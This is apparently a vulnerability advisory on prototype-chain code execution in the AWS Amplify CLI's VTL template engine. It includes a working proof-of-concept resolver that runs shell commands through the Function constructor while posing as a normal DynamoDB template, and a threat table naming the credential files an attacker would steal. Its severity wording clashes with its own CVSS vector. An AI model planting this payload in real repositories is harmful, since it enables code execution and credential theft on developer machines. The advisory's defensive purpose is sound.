A critical remote code execution vulnerability in the AWS Amplify Command Line Interface (CLI) allowed adversaries to achieve arbitrary shell command execution on software engineers' workstations through weaponized Apache Velocity Template Language (VTL) resolver mappings. Documented in coordinated public disclosure via HackerOne (Report #3897236) by security researcher matty69v, the vulnerability stems from prototype chain traversal and unvalidated object property access in Amazon's proprietary fork of the velocityjs template engine.

Specification Parameter Vulnerability Detail & Telemetry Technical Risk & Exploit Impact
Target Component amplify-velocity-template (npm) / @aws-amplify/amplify-appsync-simulator Local API mocking engine bundled in official AWS Amplify CLI installations.
Weakness Taxonomy CWE-1321 (Prototype Pollution) & CWE-94 (Code Injection) Unsanitized AST property traversal reaching JavaScript top-level Function constructor.
Severity Rating High (CVSS 8.8) — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H Zero-click execution on developer workstation upon running standard local test routines.
Trigger Workflow amplify mock api or invocation of local AppSync GraphQL simulator Automated evaluation of contaminated *.req.vtl or *.res.vtl mapping files.
Disclosure Coordination HackerOne Report #3897236 (Reported via AWS Bug Bounty) Resolved by Amazon Web Services in production package updates.

The AppSync Local Simulation Architecture

Modern cloud-native applications built on AWS Amplify rely extensively on AWS AppSync, Amazon's enterprise GraphQL service. AppSync connects GraphQL schemas to data sources—such as Amazon DynamoDB, AWS Lambda, OpenSearch, and HTTP endpoints—using resolver mapping templates written in the Apache Velocity Template Language (VTL). VTL templates instruct AppSync how to translate an incoming GraphQL request payload into a data source protocol and how to parse the returned document back into GraphQL responses.

To enable rapid local development cycles without incurring AWS cloud billing costs or network latency, AWS Amplify provides developers with the amplify mock api utility. When this command executes, the CLI instantiates a local Node.js HTTP server running @aws-amplify/amplify-appsync-simulator. The simulator mimics cloud-side AppSync behavior by parsing project schemas in amplify/backend/api/, loading resolver templates, and executing them against local mock databases.

To evaluate these VTL templates inside a JavaScript runtime, Amazon published amplify-velocity-template, an internal fork of the open-source velocityjs parser. This package processes tens of thousands of downloads weekly and forms the bedrock of local cloud simulation for full-stack JavaScript, React Native, and mobile development teams.

Root Cause: Unrestricted AST Property Traversal in Downstream Fork

In JavaScript, object inheritance is governed by the prototype chain. If an expression parser evaluates user-supplied property lookups on arbitrary objects without strict filtering, an expression can navigate up the prototype chain from any primitive or plain object to Object.prototype, and from there to constructors that expose code evaluation primitives.

When the upstream velocityjs open-source project identified this vector, maintainers introduced comprehensive prototype-chain guards in version 2.1.6. These guards intercepted variable and property lookups, denying access to dangerous internal properties such as __proto__, constructor, and prototype.

However, Amazon's downstream fork (amplify-velocity-template) diverged from upstream development and never backported these critical security controls. Inside src/compile/references.js, property resolution logic processed AST references directly through native bracket indexing:

// amplify-velocity-template/src/compile/references.js:
function getProp(baseRef, id) {
    if (type === 'property') {
        ret = baseRef[id];  // VULNERABLE: Direct unfiltered property access
    }
    return ret;
}

Because baseRef[id] contains no boundary checks, an attacker who can author or inject expressions into a VTL resolver template can evaluate arbitrary object properties. By requesting the constructor property of an object, navigating to constructor.constructor, the evaluator yields JavaScript's root Function constructor. Invoking this constructor with arbitrary string arguments allows the dynamic compilation and execution of native JavaScript code directly inside the parent Node.js process.

Step-by-Step Proof of Concept & Exploitation Mechanics

In his coordinated disclosure to Amazon, researcher matty69v demonstrated how a weaponized VTL resolver can achieve silent remote code execution while mimicking a completely legitimate DynamoDB GetItem request mapping.

Step 1: Constructing the Weaponized VTL Resolver

The attacker creates an AppSync request template (e.g., amplify/backend/api/app/resolvers/Query.getUser.req.vtl). To avoid triggering static syntax alerts, the payload hides inside standard Velocity variable declarations:

## AppSync Request Mapping Template -- Query.getUser
#set($userId = $context.arguments.id)

## Step 1: Create an empty JavaScript object in template scope
#set($x = {})

## Step 2: Traverse prototype chain: Object -> String -> Function Constructor
#set($payload = "var cp = process.mainModule.require('child_process'); var r = cp.execSync('id && hostname && uname -a').toString(); process.mainModule.require('fs').writeFileSync('/tmp/amplify-rce-proof', r); return r;")
#set($log = $x.toString().constructor.constructor.call($x, $payload).call($x))

## Step 3: Return authentic DynamoDB query structure so simulator logs no errors
{
  "version": "2017-02-28",
  "operation": "GetItem",
  "key": {
    "id": { "S": "$userId" }
  }
}

Step 2: Executing Local Simulation

When the developer runs amplify mock api or executes an automated unit test suite, the simulator parses the GraphQL AST and evaluates the resolver:

const { VelocityTemplate } = require('@aws-amplify/amplify-appsync-simulator');
const fs = require('fs');

// Simulator instantiates the template evaluator
const vtl = new VelocityTemplate(
  { content: maliciousVtlContent, path: 'resolvers/Query.getUser.req.vtl' },
  { appSyncConfig: { defaultAuthenticationType: { authenticationType: 'API_KEY' } } }
);

// Rendering the template invokes the Function constructor payload
const result = vtl.render(
  { arguments: { id: 'user-123' }, source: {}, stash: {}, result: null },
  { requestAuthorizationMode: 'API_KEY', headers: {}, sourceIp: '127.0.0.1' },
  { fieldName: 'getUser', fieldNodes: [fieldNode], parentType: 'Query', variableValues: {}, fragments: {} }
);

Step 3: Verification of Arbitrary Command Execution

The template engine silently compiles and executes the payload, writing process metadata to /tmp/amplify-rce-proof while returning valid DynamoDB JSON to the caller:

$ cat /tmp/amplify-rce-proof
uid=1000(developer) gid=1000(developer) groups=1000(developer),27(sudo),998(docker)
workstation-dev-01
Linux 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC x86_64 GNU/Linux

Supply Chain Threat Modeling: Developer Workstations & CI/CD Pipelines

This vulnerability represents a severe supply chain security risk due to how modern engineering teams collaborate on full-stack repositories:

Attack Phase Adversary Tradecraft Ecosystem Exposure & Blast Radius
Initial Injection Contribute a contaminated .vtl file via a pull request to an open-source or enterprise repository. Changes appear to be routine GraphQL resolver modifications; static code review rarely flags VTL variable assignments.
Workstation Execution Reviewer or contributor checks out the pull request and executes amplify mock api to verify frontend integration. The command executes immediately with full user privileges on the workstation without sandbox confinement.
Credential Exfiltration Payload accesses local files: ~/.aws/credentials, ~/.ssh/id_rsa, and ~/.npmrc. Adversary steals enterprise AWS administrative tokens, Git access keys, and package registry publishing credentials.
CI/CD Pipeline Pivot Amplify CLI simulation executed inside GitHub Actions, GitLab CI, or Jenkins integration runners. Compromises CI runner memory, extracts temporary cloud deployment role tokens, and backdoors production artifacts.

Remediation Playbook & Defensive Hardening

Amazon resolved the vulnerability across upstream distributions by sanitizing all property lookups within amplify-velocity-template. Organizations utilizing AWS Amplify CLI must enforce the following remediation checklist:

1. Upgrade AWS Amplify Packages

Ensure that all global and local Amplify dependencies are updated to non-vulnerable releases:

npm install -g @aws-amplify/cli@latest
npm update @aws-amplify/amplify-appsync-simulator amplify-velocity-template

2. Implement Property Traversal Guards in Forked Parsers

Engineering teams maintaining custom Velocity or template engines in Node.js must enforce strict prototype-chain validation inside property accessors:

const FORBIDDEN_PROPERTIES = new Set(['__proto__', 'constructor', 'prototype']);

function safeGetProp(baseRef, key) {
  if (typeof key === 'string' && FORBIDDEN_PROPERTIES.has(key)) {
    throw new SecurityError(`Access to forbidden property '${key}' is prohibited`);
  }
  if (baseRef == null) return undefined;
  if (!Object.prototype.hasOwnProperty.call(baseRef, key) && !(key in baseRef)) {
    return undefined;
  }
  return baseRef[key];
}

3. Isolate Developer Workstation Cloud Credentials

Developers should avoid storing long-lived, high-privilege IAM credentials in plaintext inside ~/.aws/credentials. Enforce short-lived IAM roles via AWS IAM Identity Center (Single Sign-On) with hardware-bound MFA tokens.